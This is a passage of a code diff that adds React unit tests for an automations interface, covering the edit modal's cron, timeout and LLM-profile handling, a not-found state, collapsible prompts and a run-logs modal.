+// fixtures intentionally leave `timeout` unset.
+const timeoutAutomation: Automation = {
+ ...dailyAutomation,
+ id: "auto-4",
+ timeout: 600,
+};
+
+const profilesResponse = {
+ profiles: [
+ {
+ name: "fast",
+ model: "anthropic/claude-haiku-4-5",
+ base_url: null,
+ api_key_set: true,
+ },
+ {
+ name: "careful",
+ model: "anthropic/claude-opus-4-8",
+ base_url: null,
+ api_key_set: true,
+ },
+ ],
+ active_profile: "fast",
+};
+
+function renderModal(automation: Automation) {
+ const onClose = vi.fn();
+ const queryClient = new QueryClient({
+ defaultOptions: { queries: { retry: false }, mutations: { retry: false } },
+ });
+ const utils = render(
+
+
+
+
+ ,
+ );
+ return { ...utils, onClose };
+}
+
+beforeEach(() => {
+ vi.clearAllMocks();
+ specOverrides.current = {};
+ __resetActiveStoreForTests();
+ setRegisteredBackends([localBackend]);
+ setActiveSelection({ backendId: localBackend.id });
+ // Default to no profiles; tests that exercise the picker override this.
+ vi.mocked(ProfilesService.listProfiles).mockResolvedValue({
+ profiles: [],
+ active_profile: null,
+ });
+ vi.mocked(AutomationService.getCapabilities).mockResolvedValue({
+ ready: true,
+ maxAutomationTimeoutSeconds: 900,
+ triggerKinds: ["cron"],
+ eventSources: [],
+ eventTypes: [],
+ triggers: {},
+ features: [],
+ });
+});
+
+describe("EditAutomationModal", () => {
+ it("pre-fills current values and PATCHes only the fields that changed", async () => {
+ // Arrange — daily automation at 09:00 with a known prompt. The
+ // backend will echo back the merged result.
+ vi.mocked(AutomationService.updateAutomation).mockResolvedValue({
+ ...dailyAutomation,
+ name: "Morning digest",
+ prompt: "Summarize today's open PRs",
+ trigger: { type: "cron", schedule: "30 10 * * *" },
+ });
+ const user = userEvent.setup();
+ const { onClose } = renderModal(dailyAutomation);
+
+ // Sanity-check pre-fill: the inputs reflect the existing automation
+ // before the user edits anything.
+ const nameInput = screen.getByTestId(
+ "edit-automation-name",
+ ) as HTMLInputElement;
+ const timeInput = screen.getByTestId(
+ "edit-automation-time",
+ ) as HTMLInputElement;
+ expect(nameInput.value).toBe("Daily digest");
+ expect(timeInput.value).toBe("09:00");
+
+ // Act — change name, prompt, and time; leave frequency at Daily.
+ await user.clear(nameInput);
+ await user.type(nameInput, "Morning digest");
+ const promptInput = screen.getByTestId("edit-automation-prompt");
+ await user.clear(promptInput);
+ await user.type(promptInput, "Summarize today's open PRs");
+ await user.clear(timeInput);
+ await user.type(timeInput, "10:30");
+ await user.click(screen.getByTestId("edit-automation-save"));
+
+ // Assert — PATCH body contains exactly the diff (no untouched
+ // fields like enabled/repository), and the success path closes
+ // the modal + toasts the user.
+ await waitFor(() => {
+ expect(AutomationService.updateAutomation).toHaveBeenCalledTimes(1);
+ });
+ expect(AutomationService.updateAutomation).toHaveBeenCalledWith("auto-1", {
+ name: "Morning digest",
+ prompt: "Summarize today's open PRs",
+ trigger: { type: "cron", schedule: "30 10 * * *" },
+ });
+ await waitFor(() => {
+ expect(displaySuccessToast).toHaveBeenCalledTimes(1);
+ });
+ expect(onClose).toHaveBeenCalled();
+ });
+
+ it("blocks submit and shows a validation error when the name is empty", async () => {
+ // Arrange
+ const user = userEvent.setup();
+ renderModal(dailyAutomation);
+
+ // Act — clear the name and try to save.
+ const nameInput = screen.getByTestId("edit-automation-name");
+ await user.clear(nameInput);
+ await user.click(screen.getByTestId("edit-automation-save"));
+
+ // Assert — no PATCH fired, inline error appears.
+ expect(AutomationService.updateAutomation).not.toHaveBeenCalled();
+ expect(
+ screen.getByTestId("edit-automation-name-error"),
+ ).toBeInTheDocument();
+ });
+
+ it("renders the cron field and skips schedule mutation for non-preset cron", async () => {
+ // Arrange — schedule "0 9,17 * * *" is not a Daily/Weekdays/Weekly
+ // preset; frequency stays read-only but the expression itself, and
+ // the prompt/name, remain editable.
+ vi.mocked(AutomationService.updateAutomation).mockResolvedValue(
+ customAutomation,
+ );
+ const user = userEvent.setup();
+ renderModal(customAutomation);
+
+ // The cron field is the user-visible signal that we're in custom mode.
+ expect(screen.getByTestId("edit-automation-cron")).toBeInTheDocument();
+ expect(screen.getByTestId("edit-automation-frequency")).toBeDisabled();
+
+ // Act — change only the name and save.
+ const nameInput = screen.getByTestId("edit-automation-name");
+ await user.clear(nameInput);
+ await user.type(nameInput, "Renamed");
+ await user.click(screen.getByTestId("edit-automation-save"));
+
+ // Assert — the PATCH body does NOT include a trigger override, so
+ // the user's hand-tuned cron is preserved.
+ await waitFor(() => {
+ expect(AutomationService.updateAutomation).toHaveBeenCalledTimes(1);
+ });
+ const [, body] = vi.mocked(AutomationService.updateAutomation).mock
+ .calls[0];
+ expect(body).not.toHaveProperty("trigger");
+ expect(body).toMatchObject({ name: "Renamed" });
+ });
+
+ it("sends the edited cron expression for a custom schedule", async () => {
+ // Arrange
+ vi.mocked(AutomationService.updateAutomation).mockResolvedValue(
+ customAutomation,
+ );
+ const user = userEvent.setup();
+ renderModal(customAutomation);
+
+ // The field starts pre-filled with the automation's own expression.
+ const cronInput = screen.getByTestId("edit-automation-cron");
+ expect(cronInput).toHaveValue("0 9,17 * * *");
+
+ // Act
+ await user.clear(cronInput);
+ await user.type(cronInput, "*/5 * * * *");
+ await user.click(screen.getByTestId("edit-automation-save"));
+
+ // Assert
+ await waitFor(() => {
+ expect(AutomationService.updateAutomation).toHaveBeenCalledTimes(1);
+ });
+ const [, body] = vi.mocked(AutomationService.updateAutomation).mock
+ .calls[0];
+ expect(body).toMatchObject({
+ trigger: { type: "cron", schedule: "*/5 * * * *" },
+ });
+ });
+
+ it("blocks an invalid cron expression instead of sending it", async () => {
+ // Arrange
+ const user = userEvent.setup();
+ renderModal(customAutomation);
+
+ // Act — 60 is out of range for the minute field.
+ const cronInput = screen.getByTestId("edit-automation-cron");
+ await user.clear(cronInput);
+ await user.type(cronInput, "60 * * * *");
+ await user.click(screen.getByTestId("edit-automation-save"));
+
+ // Assert — the error surfaces and nothing reaches the API.
+ expect(
+ await screen.findByText("AUTOMATIONS$ERROR_CRON_INVALID"),
+ ).toBeInTheDocument();
+ expect(AutomationService.updateAutomation).not.toHaveBeenCalled();
+ });
+
+ it("saves an unrelated edit without revalidating an untouched schedule", async () => {
+ // Arrange — the stored expression is one this form would reject.
+ vi.mocked(AutomationService.updateAutomation).mockResolvedValue(
+ rejectedScheduleAutomation,
+ );
+ const user = userEvent.setup();
+ renderModal(rejectedScheduleAutomation);
+
+ // Act — change only the name.
+ const nameInput = screen.getByTestId("edit-automation-name");
+ await user.clear(nameInput);
+ await user.type(nameInput, "Renamed");
+ await user.click(screen.getByTestId("edit-automation-save"));
+
+ // Assert
+ await waitFor(() => {
+ expect(AutomationService.updateAutomation).toHaveBeenCalledTimes(1);
+ });
+ const [, body] = vi.mocked(AutomationService.updateAutomation).mock
+ .calls[0];
+ expect(body).not.toHaveProperty("trigger");
+ expect(body).toMatchObject({ name: "Renamed" });
+ expect(screen.queryByText("AUTOMATIONS$ERROR_CRON_INVALID")).toBeNull();
+ });
+
+ it("sends a named-day expression the automation service accepts", async () => {
+ // Arrange — croniter takes day names.
+ vi.mocked(AutomationService.updateAutomation).mockResolvedValue(
+ customAutomation,
+ );
+ const user = userEvent.setup();
+ renderModal(customAutomation);
+
+ // Act
+ const cronInput = screen.getByTestId("edit-automation-cron");
+ await user.clear(cronInput);
+ await user.type(cronInput, "0 0 * * SUN");
+ await user.click(screen.getByTestId("edit-automation-save"));
+
+ // Assert
+ await waitFor(() => {
+ expect(AutomationService.updateAutomation).toHaveBeenCalledTimes(1);
+ });
+ const [, body] = vi.mocked(AutomationService.updateAutomation).mock
+ .calls[0];
+ expect(body).toMatchObject({
+ trigger: { type: "cron", schedule: "0 0 * * SUN" },
+ });
+ });
+
+ it("blocks a schedule that can never fire instead of sending it", async () => {
+ // Arrange
+ const user = userEvent.setup();
+ renderModal(customAutomation);
+
+ // Act — February never has a 31st.
+ const cronInput = screen.getByTestId("edit-automation-cron");
+ await user.clear(cronInput);
+ await user.type(cronInput, "0 0 31 2 *");
+ await user.click(screen.getByTestId("edit-automation-save"));
+
+ // Assert
+ expect(
+ await screen.findByText("AUTOMATIONS$ERROR_CRON_UNREACHABLE"),
+ ).toBeInTheDocument();
+ expect(AutomationService.updateAutomation).not.toHaveBeenCalled();
+ });
+
+ it("disables the time input while the cron field owns the schedule", () => {
+ // Arrange / Act
+ renderModal(customAutomation);
+
+ // Assert — the field no longer accepts input that save would discard.
+ expect(screen.getByTestId("edit-automation-time")).toBeDisabled();
+ expect(screen.getByTestId("edit-automation-cron")).toBeEnabled();
+ });
+
+ it("saves an event-triggered automation without a cron trigger", async () => {
+ // Arrange — these have no schedule, so cron validation must not run.
+ vi.mocked(AutomationService.updateAutomation).mockResolvedValue(
+ eventAutomation,
+ );
+ const user = userEvent.setup();
+ renderModal(eventAutomation);
+
+ // Act
+ const nameInput = screen.getByTestId("edit-automation-name");
+ await user.clear(nameInput);
+ await user.type(nameInput, "Renamed");
+ await user.click(screen.getByTestId("edit-automation-save"));
+
+ // Assert
+ await waitFor(() => {
+ expect(AutomationService.updateAutomation).toHaveBeenCalledTimes(1);
+ });
+ const [, body] = vi.mocked(AutomationService.updateAutomation).mock
+ .calls[0];
+ expect(body).not.toHaveProperty("trigger");
+ expect(body).toMatchObject({ name: "Renamed" });
+ });
+
+ it("surfaces an error toast and keeps the modal open when the update fails", async () => {
+ // Arrange — backend rejects the PATCH.
+ vi.mocked(AutomationService.updateAutomation).mockRejectedValue(
+ new Error("backend down"),
+ );
+ const user = userEvent.setup();
+ const { onClose } = renderModal(dailyAutomation);
+
+ // Act — change the time to force a non-empty diff, then save.
+ const timeInput = screen.getByTestId("edit-automation-time");
+ await user.clear(timeInput);
+ await user.type(timeInput, "10:30");
+ await user.click(screen.getByTestId("edit-automation-save"));
+
+ // Assert — error toast fired, modal stays open.
+ await waitFor(() => {
+ expect(displayErrorToast).toHaveBeenCalledTimes(1);
+ });
+ expect(onClose).not.toHaveBeenCalled();
+ });
+
+ it("persists the newly selected LLM profile in the update payload", async () => {
+ // Arrange — automation currently runs on the "fast" profile, with a
+ // second "careful" profile available to switch to.
+ vi.mocked(ProfilesService.listProfiles).mockResolvedValue(profilesResponse);
+ vi.mocked(AutomationService.updateAutomation).mockResolvedValue({
+ ...modeledAutomation,
+ model: "careful",
+ });
+ const user = userEvent.setup();
+ const { onClose } = renderModal(modeledAutomation);
+
+ // The picker pre-fills with the automation's current profile once the
+ // available profiles have loaded.
+ await waitFor(() =>
+ expect(screen.getByLabelText("LLM profile")).toHaveValue("fast"),
+ );
+
+ // Act — switch to "careful" and save.
+ await user.click(screen.getByLabelText("LLM profile"));
+ await user.click(await screen.findByText("careful"));
+ await user.click(screen.getByTestId("edit-automation-save"));
+
+ // Assert — only the profile changed, so the PATCH carries just `model`.
+ await waitFor(() => {
+ expect(AutomationService.updateAutomation).toHaveBeenCalledTimes(1);
+ });
+ expect(AutomationService.updateAutomation).toHaveBeenCalledWith("auto-3", {
+ model: "careful",
+ });
+ expect(onClose).toHaveBeenCalled();
+ });
+
+ it("resets the LLM profile to active when 'Active profile' is selected", async () => {
+ // Arrange — automation pinned to "fast"; the backend re-resolves a null
+ // model back to whatever profile is active.
+ vi.mocked(ProfilesService.listProfiles).mockResolvedValue(profilesResponse);
+ vi.mocked(AutomationService.updateAutomation).mockResolvedValue({
+ ...modeledAutomation,
+ model: "fast",
+ });
+ const user = userEvent.setup();
+ renderModal(modeledAutomation);
+
+ // The picker pre-fills with the pinned profile once profiles have loaded.
+ await waitFor(() =>
+ expect(screen.getByLabelText("LLM profile")).toHaveValue("fast"),
+ );
+
+ // Act — clear the pin via the "Active profile" option, then save.
+ await user.click(screen.getByLabelText("LLM profile"));
+ await user.click(await screen.findByText("COMMON$ACTIVE_PROFILE"));
+ await user.click(screen.getByTestId("edit-automation-save"));
+
+ // Assert — the PATCH carries model: null so the backend resets to active.
+ await waitFor(() => {
+ expect(AutomationService.updateAutomation).toHaveBeenCalledTimes(1);
+ });
+ expect(AutomationService.updateAutomation).toHaveBeenCalledWith("auto-3", {
+ model: null,
+ });
+ });
+
+ it("omits the LLM profile from the payload when it is left unchanged", async () => {
+ // Arrange — profiles available; the user will only rename the automation.
+ vi.mocked(ProfilesService.listProfiles).mockResolvedValue(profilesResponse);
+ vi.mocked(AutomationService.updateAutomation).mockResolvedValue(
+ modeledAutomation,
+ );
+ const user = userEvent.setup();
+ renderModal(modeledAutomation);
+
+ // Ensure we're on the profiles-available path before editing.
+ await screen.findByLabelText("LLM profile");
+
+ // Act — change only the name; leave the profile on "fast".
+ const nameInput = screen.getByTestId("edit-automation-name");
+ await user.clear(nameInput);
+ await user.type(nameInput, "Renamed digest");
+ await user.click(screen.getByTestId("edit-automation-save"));
+
+ // Assert — the PATCH renames but does not resend the unchanged profile.
+ await waitFor(() => {
+ expect(AutomationService.updateAutomation).toHaveBeenCalledTimes(1);
+ });
+ const [, body] = vi.mocked(AutomationService.updateAutomation).mock
+ .calls[0];
+ expect(body).toMatchObject({ name: "Renamed digest" });
+ expect(body).not.toHaveProperty("model");
+ });
+
+ it("hides the LLM profile picker when no profiles are available", async () => {
+ // Arrange — beforeEach already mocks an empty profile list.
+ renderModal(dailyAutomation);
+
+ // Assert — once the (empty) profile list resolves, no picker is offered.
+ await waitFor(() => {
+ expect(screen.queryByLabelText("LLM profile")).not.toBeInTheDocument();
+ });
+ });
+
+ it("pre-fills the timeout and sends the new value when it changes", async () => {
+ // Arrange — automation currently times out after 600s.
+ vi.mocked(AutomationService.updateAutomation).mockResolvedValue({
+ ...timeoutAutomation,
+ timeout: 900,
+ });
+ const user = userEvent.setup();
+ renderModal(timeoutAutomation);
+
+ // Sanity-check pre-fill before editing.
+ const timeoutInput = screen.getByTestId(
+ "edit-automation-timeout",
+ ) as HTMLInputElement;
+ expect(timeoutInput.value).toBe("600");
+
+ // Act — raise the timeout to the deployment's 900-second maximum and save.
+ await user.clear(timeoutInput);
+ await user.type(timeoutInput, "900");
+ await user.click(screen.getByTestId("edit-automation-save"));
+
+ // Assert — the PATCH carries just the new timeout.
+ await waitFor(() => {
+ expect(AutomationService.updateAutomation).toHaveBeenCalledTimes(1);
+ });
+ expect(AutomationService.updateAutomation).toHaveBeenCalledWith("auto-4", {
+ timeout: 900,
+ });
+ });
+
+ it("sends timeout: null when the timeout field is cleared", async () => {
+ // Arrange — automation has an explicit 600s timeout.
+ vi.mocked(AutomationService.updateAutomation).mockResolvedValue({
+ ...timeoutAutomation,
+ timeout: null,
+ });
+ const user = userEvent.setup();
+ renderModal(timeoutAutomation);
+
+ // Act — clear the field to fall back to the server default, then save.
+ await user.clear(screen.getByTestId("edit-automation-timeout"));
+ await user.click(screen.getByTestId("edit-automation-save"));
+
+ // Assert — the PATCH resets the stored timeout to null.
+ await waitFor(() => {
+ expect(AutomationService.updateAutomation).toHaveBeenCalledTimes(1);
+ });
+ expect(AutomationService.updateAutomation).toHaveBeenCalledWith("auto-4", {
+ timeout: null,
+ });
+ });
+
+ it("blocks submit and shows a validation error for an out-of-range timeout", async () => {
+ // Arrange
+ const user = userEvent.setup();
+ renderModal(timeoutAutomation);
+ await waitFor(() => {
+ expect(screen.getByTestId("edit-automation-timeout")).toHaveAttribute(
+ "max",
+ "900",
+ );
+ });
+
+ // Act — enter a timeout beyond the deployment's cap and try to save.
+ const timeoutInput = screen.getByTestId("edit-automation-timeout");
+ await user.clear(timeoutInput);
+ await user.type(timeoutInput, "901");
+ await user.click(screen.getByTestId("edit-automation-save"));
+
+ // Assert — no PATCH fired, inline error appears.
+ expect(AutomationService.updateAutomation).not.toHaveBeenCalled();
+ expect(
+ screen.getByTestId("edit-automation-timeout-error"),
+ ).toBeInTheDocument();
+ });
+
+ it("never lets the manifest raise the deployment timeout ceiling", async () => {
+ // Arrange — the manifest offers 1200 seconds while the service owns 900.
+ specOverrides.current = { timeout: { max: 1200 } };
+ renderModal(timeoutAutomation);
+
+ // Assert — the service value is the effective maximum.
+ await waitFor(() => {
+ expect(screen.getByTestId("edit-automation-timeout")).toHaveAttribute(
+ "max",
+ "900",
+ );
+ });
+ });
+
+ it("lets the manifest lower the deployment timeout ceiling", async () => {
+ // Arrange — this automation surface imposes a stricter product policy.
+ specOverrides.current = { timeout: { max: 600 } };
+ renderModal(timeoutAutomation);
+
+ // Assert — the lower manifest value wins over the service maximum.
+ await waitFor(() => {
+ expect(screen.getByTestId("edit-automation-timeout")).toHaveAttribute(
+ "max",
+ "600",
+ );
+ });
+ });
+
+ it("renders only the attributes the interface manifest declares, with its copy", async () => {
+ // Arrange — an admitted manifest that omits `prompt` and relabels `name`.
+ specOverrides.current = {
+ prompt: { present: false },
+ name: { label: "Widget name" },
+ };
+ renderModal(dailyAutomation);
+
+ // Assert — the prompt control is gone and the manifest's label shows in
+ // place of the host translation.
+ expect(
+ screen.queryByTestId("edit-automation-prompt"),
+ ).not.toBeInTheDocument();
+ expect(screen.getByText("Widget name")).toBeInTheDocument();
+ });
+
+ it("omits the timeout from the payload when it is left unchanged", async () => {
+ // Arrange
+ vi.mocked(AutomationService.updateAutomation).mockResolvedValue(
+ timeoutAutomation,
+ );
+ const user = userEvent.setup();
+ renderModal(timeoutAutomation);
+
+ // Act — rename the automation but leave the timeout at 600.
+ const nameInput = screen.getByTestId("edit-automation-name");
+ await user.clear(nameInput);
+ await user.type(nameInput, "Renamed digest");
+ await user.click(screen.getByTestId("edit-automation-save"));
+
+ // Assert — the PATCH renames but does not resend the unchanged timeout.
+ await waitFor(() => {
+ expect(AutomationService.updateAutomation).toHaveBeenCalledTimes(1);
+ });
+ const [, body] = vi.mocked(AutomationService.updateAutomation).mock
+ .calls[0];
+ expect(body).toMatchObject({ name: "Renamed digest" });
+ expect(body).not.toHaveProperty("timeout");
+ });
+});
diff --git a/__tests__/components/automations/detail/not-found-state.test.tsx b/__tests__/components/automations/detail/not-found-state.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..bb9e4d20ca2adfba05f6e7178670dff57067c731
--- /dev/null
+++ b/__tests__/components/automations/detail/not-found-state.test.tsx
@@ -0,0 +1,16 @@
+import { render, screen } from "@testing-library/react";
+import { describe, it, expect } from "vitest";
+import { NotFoundState } from "#/components/features/automations/detail/not-found-state";
+
+describe("NotFoundState", () => {
+ it("renders not found state with link back to automations list", () => {
+ const { container } = render( );
+
+ // Check for the main container
+ expect(container.querySelector("div")).toBeInTheDocument();
+ // Check for the link to go back
+ const link = screen.getByRole("link");
+ expect(link).toBeInTheDocument();
+ expect(link).toHaveAttribute("href", "/automations");
+ });
+});
diff --git a/__tests__/components/automations/detail/prompt-section.test.tsx b/__tests__/components/automations/detail/prompt-section.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..b881c97ba692d06fb230ea1a49db849678d45b91
--- /dev/null
+++ b/__tests__/components/automations/detail/prompt-section.test.tsx
@@ -0,0 +1,55 @@
+import { describe, expect, it } from "vitest";
+import React from "react";
+import { render, screen, fireEvent } from "@testing-library/react";
+
+import { I18nKey } from "#/i18n/declaration";
+import { PromptSection } from "#/components/features/automations/detail/prompt-section";
+
+describe("PromptSection", () => {
+ it("does not show a toggle for short prompts", () => {
+ render( );
+
+ expect(screen.getByTestId("automation-prompt-content")).toHaveTextContent(
+ "Short prompt.",
+ );
+ expect(
+ screen.queryByTestId("automation-prompt-toggle"),
+ ).not.toBeInTheDocument();
+ expect(
+ screen.queryByTestId("automation-prompt-fade"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("collapses long prompts with a fade and expands on toggle", () => {
+ const longPrompt = Array.from({ length: 40 }, (_, index) => `Line ${index + 1}.`).join(
+ "\n",
+ );
+
+ Object.defineProperty(HTMLElement.prototype, "scrollHeight", {
+ configurable: true,
+ get() {
+ return this.textContent?.includes("Line 40.") ? 480 : 120;
+ },
+ });
+
+ render( );
+
+ expect(screen.getByTestId("automation-prompt-fade")).toBeInTheDocument();
+ expect(screen.getByTestId("automation-prompt-content")).toHaveClass("max-h-60");
+ expect(screen.getByTestId("automation-prompt-toggle")).toHaveTextContent(
+ I18nKey.COMMON$VIEW_MORE,
+ );
+
+ fireEvent.click(screen.getByTestId("automation-prompt-toggle"));
+
+ expect(
+ screen.queryByTestId("automation-prompt-fade"),
+ ).not.toBeInTheDocument();
+ expect(screen.getByTestId("automation-prompt-content")).not.toHaveClass(
+ "max-h-60",
+ );
+ expect(screen.getByTestId("automation-prompt-toggle")).toHaveTextContent(
+ I18nKey.COMMON$VIEW_LESS,
+ );
+ });
+});
diff --git a/__tests__/components/automations/detail/run-logs-modal.test.tsx b/__tests__/components/automations/detail/run-logs-modal.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..761bbc49cc9ad4bf774f9ddeb8e051dad9ffc3fe
--- /dev/null
+++ b/__tests__/components/automations/detail/run-logs-modal.test.tsx
@@ -0,0 +1,457 @@
+import { describe, it, expect, vi, beforeEach, afterEach } from "vitest";
+import { render, screen, fireEvent } from "@testing-library/react";
+import { I18nKey } from "#/i18n/declaration";
+import { RunLogsModal } from "#/components/features/automations/detail/run-logs-modal";
+import { AutomationRunStatus, type AutomationRun } from "#/types/automation";
+
+const { useBashCommandLogsMock } = vi.hoisted(() => ({
+ useBashCommandLogsMock: vi.fn(),
+}));
+
+vi.mock("#/hooks/query/use-bash-command-logs", () => ({
+ useBashCommandLogs: useBashCommandLogsMock,
+}));
+
+// The debug button owns its own query/navigation stack; stub it so these tests
+// only verify whether the modal chooses to render it.
+vi.mock(
+ "#/components/features/automations/detail/debug-automation-button",
+ () => ({
+ DebugAutomationButton: ({ run }: { run: AutomationRun }) => (
+
+ ),
+ }),
+);
+
+function makeHookResult(
+ overrides: Partial> = {},
+) {
+ return { ...baseResult(), ...overrides };
+}
+
+function baseResult() {
+ return {
+ data: undefined as unknown,
+ error: null as Error | null,
+ isFetching: false,
+ isPending: false,
+ isResolvingConversation: false,
+ sandboxIssue: null as
+ | null
+ | "missing"
+ | "paused"
+ | "starting"
+ | "errored"
+ | "unreachable",
+ conversationMissing: false,
+ };
+}
+
+beforeEach(() => {
+ useBashCommandLogsMock.mockReset();
+});
+
+afterEach(() => {
+ vi.clearAllMocks();
+});
+
+describe("RunLogsModal", () => {
+ it("renders nothing when closed", () => {
+ useBashCommandLogsMock.mockReturnValue(makeHookResult());
+ const { container } = render(
+ {}}
+ />,
+ );
+ expect(container).toBeEmptyDOMElement();
+ });
+
+ it("uses the 'Logs' title (not 'Run logs')", () => {
+ useBashCommandLogsMock.mockReturnValue(makeHookResult());
+ render(
+ {}}
+ />,
+ );
+ // The heading uses the LOGS_TITLE key — in the test environment
+ // the resolved value IS "Logs" because translation.json's "en"
+ // entry is "Logs". (The key itself is rendered if the runtime
+ // can't resolve it; we want the human label.)
+ expect(
+ screen.getByRole("heading", {
+ name: I18nKey.AUTOMATIONS$DETAIL$LOGS_TITLE,
+ }),
+ ).toBeInTheDocument();
+ });
+
+ it("shows two tabs (Output, Error) with Output active by default", () => {
+ useBashCommandLogsMock.mockReturnValue(
+ makeHookResult({
+ data: [
+ {
+ id: "o1",
+ kind: "BashOutput",
+ timestamp: "2026-01-01T10:00:00Z",
+ command_id: "cmd-1",
+ order: 0,
+ stdout: "hello",
+ stderr: null,
+ },
+ ],
+ }),
+ );
+ render(
+ {}}
+ />,
+ );
+
+ const tabs = screen.getAllByRole("tab");
+ expect(tabs).toHaveLength(2);
+ expect(tabs[0]).toHaveAttribute("aria-selected", "true");
+ expect(tabs[1]).toHaveAttribute("aria-selected", "false");
+ });
+
+ it("concatenates stdout across multiple BashOutput events for the Output tab", () => {
+ useBashCommandLogsMock.mockReturnValue(
+ makeHookResult({
+ data: [
+ {
+ id: "o2",
+ kind: "BashOutput",
+ timestamp: "2026-01-01T10:00:00.200Z",
+ command_id: "cmd-1",
+ order: 1,
+ stdout: "world\n",
+ stderr: null,
+ },
+ {
+ id: "o1",
+ kind: "BashOutput",
+ timestamp: "2026-01-01T10:00:00.100Z",
+ command_id: "cmd-1",
+ order: 0,
+ stdout: "hello ",
+ stderr: null,
+ },
+ ],
+ }),
+ );
+ render(
+ {}}
+ />,
+ );
+ // Outputs must be sorted by (timestamp, order), so the
+ // chronological concatenation is "hello world\n" — proves the
+ // sort is happening regardless of input order.
+ expect(screen.getByTestId("run-logs-output-stdout")).toHaveTextContent(
+ "hello world",
+ );
+ });
+
+ it("concatenates stderr when the Error tab is selected", () => {
+ useBashCommandLogsMock.mockReturnValue(
+ makeHookResult({
+ data: [
+ {
+ id: "o1",
+ kind: "BashOutput",
+ timestamp: "2026-01-01T10:00:00.100Z",
+ command_id: "cmd-1",
+ order: 0,
+ stdout: "ok\n",
+ stderr: "err-1\n",
+ },
+ {
+ id: "o2",
+ kind: "BashOutput",
+ timestamp: "2026-01-01T10:00:00.200Z",
+ command_id: "cmd-1",
+ order: 1,
+ stdout: null,
+ stderr: "err-2\n",
+ },
+ ],
+ }),
+ );
+ render(
+ {}}
+ />,
+ );
+
+ const errorTab = screen.getAllByRole("tab")[1];
+ fireEvent.click(errorTab);
+
+ expect(errorTab).toHaveAttribute("aria-selected", "true");
+ expect(screen.getByTestId("run-logs-output-stderr")).toHaveTextContent(
+ "err-1 err-2",
+ );
+ });
+
+ it("shows the loading message while the query is fetching", () => {
+ useBashCommandLogsMock.mockReturnValue(
+ makeHookResult({ isFetching: true, data: undefined }),
+ );
+ render(
+ {}}
+ />,
+ );
+ expect(
+ screen.getByText(I18nKey.AUTOMATIONS$DETAIL$LOGS_LOADING),
+ ).toBeInTheDocument();
+ });
+
+ it.each([
+ ["missing", I18nKey.AUTOMATIONS$DETAIL$LOGS_SANDBOX_MISSING],
+ ["paused", I18nKey.AUTOMATIONS$DETAIL$LOGS_SANDBOX_PAUSED],
+ ["starting", I18nKey.AUTOMATIONS$DETAIL$LOGS_SANDBOX_STARTING],
+ ["errored", I18nKey.AUTOMATIONS$DETAIL$LOGS_SANDBOX_ERROR],
+ ["unreachable", I18nKey.AUTOMATIONS$DETAIL$LOGS_SANDBOX_UNREACHABLE],
+ ] as const)(
+ "renders the matching message for sandboxIssue=%s instead of the log output",
+ (issue, key) => {
+ useBashCommandLogsMock.mockReturnValue(
+ makeHookResult({
+ sandboxIssue: issue,
+ // Even if outputs are somehow present in the cache, the
+ // sandbox-issue branch should still render — the issue
+ // takes precedence.
+ data: [
+ {
+ id: "o1",
+ kind: "BashOutput",
+ timestamp: "2026-01-01T10:00:00Z",
+ command_id: "cmd-1",
+ order: 0,
+ stdout: "stale",
+ stderr: null,
+ },
+ ],
+ }),
+ );
+ render(
+ {}}
+ />,
+ );
+
+ expect(
+ screen.getByTestId(`run-logs-sandbox-issue-${issue}`),
+ ).toHaveTextContent(key);
+ // The stdout tab should not be rendered when a sandbox issue
+ // is set — we don't want stale "Output" content competing with
+ // the empty-state message.
+ expect(
+ screen.queryByTestId("run-logs-output-stdout"),
+ ).not.toBeInTheDocument();
+ },
+ );
+
+ it("invokes onClose when Escape is pressed", () => {
+ useBashCommandLogsMock.mockReturnValue(makeHookResult());
+ const onClose = vi.fn();
+ render(
+ ,
+ );
+ fireEvent.keyDown(window, { key: "Escape" });
+ expect(onClose).toHaveBeenCalledTimes(1);
+ });
+});
+
+describe("RunLogsModal — run inspection summary", () => {
+ const makeRun = (overrides: Partial = {}): AutomationRun => ({
+ id: "run-1",
+ status: AutomationRunStatus.COMPLETED,
+ conversation_id: "conv-1",
+ bash_command_id: "cmd-1",
+ error_detail: null,
+ started_at: "2026-01-01T10:00:00Z",
+ completed_at: "2026-01-01T10:02:00Z",
+ ...overrides,
+ });
+
+ it("labels run, task, and system details for a completed blocked task", () => {
+ useBashCommandLogsMock.mockReturnValue(makeHookResult());
+
+ render(
+ {}}
+ run={makeRun({
+ error_detail: "Environment variable HUBSPOT_API_KEY is missing.",
+ status_detail: {
+ phase: "callback",
+ kind: "execution_error",
+ detail: "Environment variable HUBSPOT_API_KEY is missing.",
+ source: "environment",
+ },
+ run_metadata: {
+ finish_tool_response: {
+ status: "blocked",
+ outcome_summary:
+ "Attempted HubSpot CRM contact search but HUBSPOT_API_KEY was unavailable.",
+ },
+ },
+ })}
+ />,
+ );
+
+ expect(
+ screen.getByText(I18nKey.AUTOMATIONS$DETAIL$RUN_LABEL),
+ ).toBeInTheDocument();
+ expect(screen.getByText("COMPLETED")).toBeInTheDocument();
+ expect(
+ screen.getByText(I18nKey.AUTOMATIONS$DETAIL$TASK_LABEL),
+ ).toBeInTheDocument();
+ expect(
+ screen.getByText(I18nKey.AUTOMATIONS$DETAIL$BLOCKED),
+ ).toBeInTheDocument();
+ expect(
+ screen.getByText(
+ "Attempted HubSpot CRM contact search but HUBSPOT_API_KEY was unavailable.",
+ ),
+ ).toBeInTheDocument();
+ expect(
+ screen.getByText(I18nKey.AUTOMATIONS$DETAIL$SYSTEM_LABEL),
+ ).toBeInTheDocument();
+ expect(
+ screen.getAllByText(/Environment variable HUBSPOT_API_KEY is missing/),
+ ).toHaveLength(2);
+ expect(screen.getByText(/callback · execution_error/)).toBeInTheDocument();
+ });
+
+ it("keeps infrastructure failures in the system section when no task outcome exists", () => {
+ useBashCommandLogsMock.mockReturnValue(makeHookResult());
+
+ render(
+ {}}
+ run={makeRun({
+ status: AutomationRunStatus.FAILED,
+ error_detail: "Sandbox timed out.",
+ })}
+ />,
+ );
+
+ expect(screen.getByText("FAILED")).toBeInTheDocument();
+ expect(
+ screen.getByText(I18nKey.AUTOMATIONS$DETAIL$NO_TASK_OUTCOME),
+ ).toBeInTheDocument();
+ expect(screen.getByText(/Sandbox timed out/)).toBeInTheDocument();
+ });
+
+ it("falls back to a readable JSON block for custom task metadata", () => {
+ useBashCommandLogsMock.mockReturnValue(makeHookResult());
+
+ render(
+ {}}
